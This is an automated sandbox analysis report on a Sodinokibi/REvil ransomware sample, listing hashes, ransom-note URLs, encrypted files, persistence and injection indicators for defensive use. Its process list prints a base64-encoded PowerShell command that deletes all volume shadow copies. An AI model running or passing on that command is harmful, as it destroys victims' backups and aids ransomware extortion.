Analysis
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max time kernel
143s -
max time network
150s -
platform
windows10_x64 -
resource
win10 -
submitted
21-10-2020 12:55
Static task
static1
Behavioral task
behavioral1
Sample
390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe
Resource
win10
General
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Target
390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe
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Size
391KB
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MD5
3a0145544a2e2f71ac9348487fabe12b
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SHA1
f548bcc66e17267c9faad3c00e6a25cbeeac2190
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SHA256
390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab
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SHA512
bc9e50c30afbd577c6e81a8ea400ddf2fd29c07b0f9cd7bcdf691d13cebff90f0490df57990c90a7d04e6b979fb572e686c5291a1a2718464d13025d8fcff965
Malware Config
Extracted
C:\o1d4v6u2v-readme.txt
sodinokibi
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/F49CFBC9B016ED72
http://decryptor.cc/F49CFBC9B016ED72
Signatures
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Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
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Modifies extensions of user files 10 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exedescription ioc process File renamed C:\Users\Admin\Pictures\ReadBackup.png => \??\c:\users\admin\pictures\ReadBackup.png.o1d4v6u2v 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe File opened for modification \??\c:\users\admin\pictures\ResetMove.tiff 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe File renamed C:\Users\Admin\Pictures\AssertDisconnect.raw => \??\c:\users\admin\pictures\AssertDisconnect.raw.o1d4v6u2v 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe File renamed C:\Users\Admin\Pictures\CompleteConfirm.tiff => \??\c:\users\admin\pictures\CompleteConfirm.tiff.o1d4v6u2v 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe File renamed C:\Users\Admin\Pictures\MergeRestart.crw => \??\c:\users\admin\pictures\MergeRestart.crw.o1d4v6u2v 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe File renamed C:\Users\Admin\Pictures\UpdateEnter.tif => \??\c:\users\admin\pictures\UpdateEnter.tif.o1d4v6u2v 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe File opened for modification \??\c:\users\admin\pictures\CompleteConfirm.tiff 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe File renamed C:\Users\Admin\Pictures\ResetMove.tiff => \??\c:\users\admin\pictures\ResetMove.tiff.o1d4v6u2v 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe File renamed C:\Users\Admin\Pictures\OpenReceive.tif => \??\c:\users\admin\pictures\OpenReceive.tif.o1d4v6u2v 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe File renamed C:\Users\Admin\Pictures\UnprotectRedo.raw => \??\c:\users\admin\pictures\UnprotectRedo.raw.o1d4v6u2v 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\BV7BRrErOX = "C:\\Users\\Admin\\AppData\\Local\\Temp\\390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe" 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe -
Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exedescription ioc process File opened (read-only) \??\N: 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe File opened (read-only) \??\S: 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe File opened (read-only) \??\Y: 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe File opened (read-only) \??\I: 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe File opened (read-only) \??\M: 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe File opened (read-only) \??\O: 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe File opened (read-only) \??\P: 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe File opened (read-only) \??\Q: 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe File opened (read-only) \??\T: 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe File opened (read-only) \??\X: 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe File opened (read-only) \??\B: 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe File opened (read-only) \??\E: 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe File opened (read-only) \??\H: 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe File opened (read-only) \??\L: 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe File opened (read-only) \??\R: 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe File opened (read-only) \??\U: 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe File opened (read-only) \??\Z: 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe File opened (read-only) \??\D: 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe File opened (read-only) \??\A: 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe File opened (read-only) \??\F: 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe File opened (read-only) \??\G: 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe File opened (read-only) \??\J: 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe File opened (read-only) \??\K: 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe File opened (read-only) \??\V: 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe File opened (read-only) \??\W: 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe -
Modifies service 2 TTPs 5 IoCs
Processes:
vssvc.exedescription ioc process Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SwProvider_{b5946137-7b9f-4925-af80-51abd60b20d5} vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer vssvc.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
Processes:
390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x99q.bmp" 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe -
Drops file in Program Files directory 13 IoCs
Processes:
390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exedescription ioc process File opened for modification \??\c:\program files\DebugOut.svgz 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe File opened for modification \??\c:\program files\DisconnectUnblock.pcx 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe File opened for modification \??\c:\program files\SplitPublish.mpg 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe File opened for modification \??\c:\program files\SubmitClear.aif 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe File opened for modification \??\c:\program files\WaitAdd.iso 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe File created \??\c:\program files (x86)\o1d4v6u2v-readme.txt 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe File opened for modification \??\c:\program files\DenyStart.TS 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe File opened for modification \??\c:\program files\DisconnectRepair.wps 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe File opened for modification \??\c:\program files\PingTest.ADT 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe File opened for modification \??\c:\program files\PublishSave.xlsx 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe File opened for modification \??\c:\program files\RedoSend.otf 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe File opened for modification \??\c:\program files\StepImport.jpeg 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe File created \??\c:\program files\o1d4v6u2v-readme.txt 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe -
Suspicious behavior: EnumeratesProcesses 77 IoCs
Processes:
390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exepowershell.exepid process 3932 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe 3932 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe 1240 powershell.exe 1240 powershell.exe 1240 powershell.exe 3932 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe 3932 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe 3932 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe 3932 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe 3932 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe 3932 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe 3932 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe 3932 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe 3932 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe 3932 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe 3932 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe 3932 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe 3932 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe 3932 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe 3932 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe 3932 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe 3932 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe 3932 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe 3932 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe 3932 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe 3932 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe 3932 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe 3932 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe 3932 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe 3932 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe 3932 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe 3932 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe 3932 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe 3932 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe 3932 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe 3932 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe 3932 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe 3932 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe 3932 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe 3932 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe 3932 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe 3932 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe 3932 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe 3932 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe 3932 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe 3932 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe 3932 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe 3932 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe 3932 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe 3932 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe 3932 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe 3932 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe 3932 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe 3932 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe 3932 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe 3932 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe 3932 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe 3932 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe 3932 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe 3932 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe 3932 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe 3932 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe 3932 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe 3932 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe -
Suspicious use of AdjustPrivilegeToken 6 IoCs
Processes:
390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exepowershell.exevssvc.exedescription pid process Token: SeDebugPrivilege 3932 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe Token: SeDebugPrivilege 1240 powershell.exe Token: SeBackupPrivilege 2628 vssvc.exe Token: SeRestorePrivilege 2628 vssvc.exe Token: SeAuditPrivilege 2628 vssvc.exe Token: SeTakeOwnershipPrivilege 3932 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe -
Suspicious use of WriteProcessMemory 2 IoCs
Processes:
390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exedescription pid process target process PID 3932 wrote to memory of 1240 3932 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe powershell.exe PID 3932 wrote to memory of 1240 3932 390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe powershell.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe"C:\Users\Admin\AppData\Local\Temp\390219bc85958cafb5a6c8e98a2614265ebb087a4df631aa850b3edc7718a4ab.exe"1⤵
- Modifies extensions of user files
- Adds Run key to start application
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3932 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1240
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:1352
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Modifies service
- Suspicious use of AdjustPrivilegeToken
PID:2628
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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memory/1240-0-0x0000000000000000-mapping.dmp
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memory/1240-1-0x00007FF92C330000-0x00007FF92CD1C000-memory.dmpFilesize
9.9MB
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memory/1240-2-0x0000027512F80000-0x0000027512F81000-memory.dmpFilesize
4KB
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memory/1240-3-0x000002752D150000-0x000002752D151000-memory.dmpFilesize
4KB